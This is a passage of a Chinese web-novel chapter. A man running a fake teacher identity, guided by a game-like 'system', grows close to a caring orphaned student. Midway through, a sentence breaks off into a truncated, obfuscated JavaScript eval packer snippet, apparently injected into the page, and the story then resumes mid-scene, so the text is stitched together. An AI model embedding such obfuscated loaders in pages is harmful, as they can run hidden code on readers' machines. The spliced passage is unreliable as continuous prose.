隗祯:「可我比较想做个人。」 「嘿,您可别看不起过路风光。都说就算是朵野花,也得托生在燕京城的院子里呢。您要是得濮怀玉同学青睐,要什么没有啊?」 这股油腻腻的京腔,让隗祯非常头疼——所以是在暗讽他吗?可他从不这么说话。 来不及言语回击,校长满面红光找上他:“小隗啊,你长这么高,腿这么长,跑得还没有我这个老人家快,不应该啊。体力不好,怎么为学生们做贡献呢?” 隗祯笑着打哈哈,拐个弯熟稔地恭维。所谓此一时彼一时,曾经的隗总、隗先生用起抬举人的话术,让被抬举的一方分外受用。 「友好值+1」 「当前友好值:33。」 「加油,隗小葵,你是最棒的。」 ……有爱看自己笑话的学生和系统,隗祯觉得这辈子有了。 领奖状合影的时候,隗祯更是恨不得立马跳下去。 「就这么一点点高,跳不死人的。」 隗祯感受到一丝苍凉:「谢谢你的提醒,但我还想活。」 朝看台眺望,密密麻麻都是穿着校服的学生,男女都有些难以辨认,更不用说从中找到濮怀玉的面容。隗祯虽然大抵摸清楚了1班在看台的座位,但濮怀玉此刻的所在,他看不见。 「叮,请宿主察看放大版。」 话音刚落,隗祯眼前就好像架上一台精密度极高的望远镜,鼓着掌的濮怀玉突然间出现在近处。 她鼓得很认真,还将双手比作圆筒,说“隗老师厉害”。 算了,笑话就笑话吧。隗祯释然了。 成为濮怀玉成长道路上的风景也没有什么不好。毕竟他这样,也确实挺搞笑的。 13. 013 “隗老师,我这次的年级排名比上次提升了五名,是第七名!” 隗祯持以“果然如此”的微笑:“你比过去更相信自己,自然能取得更好的成绩。” 秦紫怡前来履行售后服务,而对于另一位特殊的预约者,隗祯明里暗里打探出了濮怀玉本次考试的排名。 对于普通高中生来说,成绩往往是他们这一阶段唯一需要考虑的事情,一点点的变化都能够引起心绪的振动,他不得不关注。 但隗祯总觉得,濮怀玉已经走出了同龄人这一阶段需要完成的课题,这个小到不能再小的变化对她来说并不算什么。 秦紫怡的答复给了他肯定:“濮怀玉是我的好朋友,但跟我一点也不一样。她从来不为学习好不好发愁,高二的时候因为生病掉到年级五十名,她也面不改色。” 隗祯心底微微一惊,不禁道:“濮怀玉同学还会生病啊。” 然后很快意识到自己在学生面前说了蠢话,指不定被传成什么样,羞耻心让脸颊发热。 难道是把濮怀玉当做纸片人了?可她绝对是真实的,否则这段时间或近或远的相处算什么呢。 “那当然啊。隗老师,你是不是也觉得濮怀玉特别完美,完美的人不会生病啊。” 秦紫怡做了个展示肌肉的动作,聊起这位好朋友时一点都不内秀,“我们这里每年淹死的人很多,尤其是小朋友。她其实是为了救小孩跳进河里才生了大病,那段时间天气特别冷,濮怀玉不得不发着高烧考试。就这样还进了年级前五十名,高考要是这个成绩,都能去个还不错的985了。” “隗老师,你上次不是说,有益的人际关系可以帮助我放松吗?就是这段经历,让我特别想跟濮怀玉做好朋友。” 她说,“原来真的有这样好的人。我也想跟她一样,成为这样的好人。” …… 月考成绩公布后的几天,某一日早晨隗祯正准备像往常一样乘电梯上六楼,结果在电梯门口碰见拎着纸袋的濮怀玉。 准确来说,是左手拎纸袋,右手则握着身为半个违禁品的老人机,灵活地用拇指按动上下左右。 俄罗斯方块还是贪吃蛇?隗祯不清楚。他只知道自己的走近,让濮怀玉警觉地收起了手机。 “上去吗?”他问。 “这栋楼好像没有负一层,隗老师。”濮怀玉说,“有的话就是鬼故事了。” 隗祯自然不会把这次偶遇放置不管。 “叮”。电梯抵达一层的声音跟系统的提示音有些相似,往常隗祯可能会在进电梯后腹诽系统的没人性,然后获得“电击警告”,但现在他没有这个心情。 他在电梯按键前驻足,随后走进来的濮怀玉则待在电梯间左下角,两人可谓是隔着这个四方体内所能间隔的最远的距离。 “我去六层,你去哪里。” 濮怀玉看他侧首时流经眉眼、鼻唇的精巧线条,答:“也是六层。” 电梯上移,时间似乎也开始随之流转。 “我刚来一中不久,不清楚这里的情况。你已经学习了两年多,有从其他同学口中听说过什么怪谈吗?” “有是有。” 六层楼的时间,似乎很快,又似乎非常缓慢。快到隗祯没有经过太多思索便牢牢抓住濮怀玉随口一说的玩笑话,想要套近乎;同时缓慢到足够濮怀玉思考片刻,然后跟隗祯分享了一个热门鬼故事。 “听说发生在某一栋教学楼,如果运气不好没什么人,乘坐电梯的话有可能会发生卡顿的情况。” 濮怀玉平板的语气很适合叙说校园怪谈,没有太多主观情感,因而增添了惊悚的氛围,“尤其是在站位靠前的情况下,似乎可以感觉到从后方传来的冷气,听到若有若无的说话声。” “这时,无论听到什么,不要回应,也不要转过头。就算在电梯门上看到倒影,也千万不能够和它对上视线。” 然而与此同时,濮怀玉正饶有兴致注意着电梯门上隗祯的一颦一笑。是会明显地惊惧,还是碍于教师身份强装镇定,亦或是风轻云淡无所谓,无论是哪样,都让她掷出的这个故事变的完整。 隗祯:“不这样做,会怎样?” “隗老师,这不是个‘不这样做会怎样’的故事,另一个当事人已经非常谨慎,你应该问‘这样做了会怎样’。”濮怀玉道,“是个高二的男同学,他确信自己没有跟倒影对上视线,可他还是遭遇了不幸。” “因为,鬼根本没有眼睛。只要被盯上,就没有然后了。” “……” “你的故事很引人入胜。” 脚下传来滞涩感。“是真的,隗老师。”濮怀玉抬眸,电梯已经抵达六层,“但不是在这栋楼,是在后面实验楼。那里一年四季都很凉爽,你应该去过几次了。” 电梯门缓缓开启。隗祯随即走出,没有听到身后传来脚步声转头,却见濮怀玉将那只纸袋拎到自己眼前。 防止电梯门夹到她的手臂,隗祯不假思索搭把手接过来。此时,他终于知道他所不敢嗅闻的、淡淡的红枣香气来源为何。 不是濮怀玉刚刚吃下的早餐,而是纸袋里手工制作的枣糕。 她按了一下开门键:“隗老师,这是上周末我和家人一起做的点心。非要问原因的话,你就当是季军的奖励吧。” 奖励?谁奖励谁。 学生奖励老师?隗祯忽然觉得这份古拙的糕点烫手起来。 “我刚刚开玩笑的,我没有这个立场。隗老师,你就当是对那块提拉米苏微不足道的回报,礼尚往来而已。” 少女静静地伫立在刚才他站立的地方,“老师一个人住,日程表拥挤的时候可能分不出精力做饭。等下次有别的吃不完的点心零食,想起来的话,我会给您带的。” 说是礼尚往来,但隗祯感受到的是同病相怜的照拂。 怀疑值依旧没有归零,说明濮怀玉从二人偶尔的对话和相处中察觉到了违和。但系统匹配的身份无可挑剔,是既定的“事实”,濮怀玉最终选择压抑下怀疑相信这份真实,并且默默地给予照拂。 她照顾他?开什么玩笑。隗祯心里有些不是滋味。 明明濮怀玉自己都还只是孩子,她没有义务对他感同身受。他还是老师,在师生链条所暗含的权力关系中作为上位者存在。体谅他人的心酸,不着痕迹帮助,明明是大人的事。 隗祯不是没有收到过礼物,这太常见了,哪怕这一世以心理老师的假身份过活,也有家长或是试图与他建立关系的老师将各种礼品送到门前。当然,隗祯一份也没有收。无论他们的话术如何高明,他都能一眼看清楚他们打的什么注意,精挑细选过价格的礼品是想让他做到什么程度。 但濮怀玉的礼物完全不一样,就像一场不计后果的救助,一次无声的高烧。路过了,看清楚了,要做的无非是纵身一跃。 她在其中寄寓的施救者心理,那份“我们出生就在水里淹着”的认知,简直要让隗祯在纠结中咬烂自己的嘴唇。 “再见,隗老师,我要去上早读了。今天要抽默古文,我昨晚没有复习。” 她从来都是这般任性,依靠老天赏饭吃的记性抱个佛脚,就能应付过去。比起谦虚,濮怀玉喜欢直白地表现出来。 纸袋因为紧攥留下绽裂的勒痕,隗祯连忙道:“那你赶紧回教室吧,这个我收下了。” 濮怀玉轻微点头。 转身离开前,她道:“老师能好好吃饭,我和院长妈妈,还有孤儿院里的大姐姐,都会很开心。” 「友好值+10」 「当前友好值:43。」 隗祯愣神之间,少女平和的双眸已经为闭合的门所吞没。 电梯转而向下,能依稀听到响动,仿佛被锁链拖动。 他配得上如此丰厚的馈赠吗? 隗祯想,应该是不配的。他是系统虚构出来的真实,只要在这个世界呼吸就是欺骗。 「很高兴宿主对自己的真实处境有了恰切的认知。」 但枣糕恰如其分的甜味是真的。出于说不清道不明的、对自我存在的强调,隗祯行使了孱弱的回击权:「但你不能否认,她的礼物很有针对性。」 系统的声音充满机械感:「其实只是为了照顾老年人。」 一个上午在备课和接待预约咨询的同学中很快度过,隗祯的业务能力日渐增进,何老师都会打趣他“我的客源都到你那边去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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隗祯没接最后那句,他担不起,只针对前面的回答,说:“您说笑了,实在是不能不关照。魏老师,濮怀玉跟其他同学不太一样,您应该明白我的意思。” 魏老师当然明白。濮怀玉的早熟让她很多时候无法完全将她当做需要被教导的学生和小辈对待,而是更加平等的、能够说得上话的倾听者。 “说起来惭愧,我们这些做老师的,就算知道一个学生有特殊情况,有难言之隐,其实也帮不上太多忙。” 魏老师轻轻叹气,“所以,是濮怀玉先找到的我。那段时间我因为……家庭变故,只能强撑着意志上课,连饭都顾不上吃,整个人浑浑噩噩的。” “是她找上了我,说‘老师,你要不要来我家吃饭,不用给钱’。隗老师,我早就知道濮怀玉的家庭背景,我当时甚至特别伤人地想,‘说到底,你哪里来的家’。” 「线索三:她有自己的意志和衡量标准,拥有超越世俗限制关心身边人的决心。」 老师是一个被要求尽善尽美的职业,但老师也是人。“后来呢?”隗祯不多问,不去发掘更多的愧疚,只是追问。 魏老师笑了笑:“我后来去濮怀玉家里吃了饭,她的手艺还真不错。然后那年寒假,包括过年,我是在她家做义工度过的,很充实。” “隗老师,你要是觉得寒假在家太冷清,也可以去做义工,随愿孤儿院挺缺人手的。而且我觉得,就算你只是去吃顿饭,濮怀玉也会很欢迎你。” 随愿孤儿院。隗祯默默记下这个名字。 “好,我会考虑的。” 魏老师终于动了筷子:“以后濮怀玉怕是会隔三差五给你带点好吃的。你别看她年纪小,都没成年,她在家里可是第三号人物,属于小家长,其他孩子都叫她姐姐呢。” 隗祯笑着附和:“那濮同学这个家长应该当得挺别致的。” “她啊,什么都能做好。”魏老师喝一口蛋花汤,“有时候我真的忍不住想,想破脑袋也不明白,这么好的孩子,当初她的爸爸妈妈怎么舍得把她抛弃的。” 隗祯微微垂眸。 “……大概是因为,濮同学不需要他们,自己也能长得很好吧。”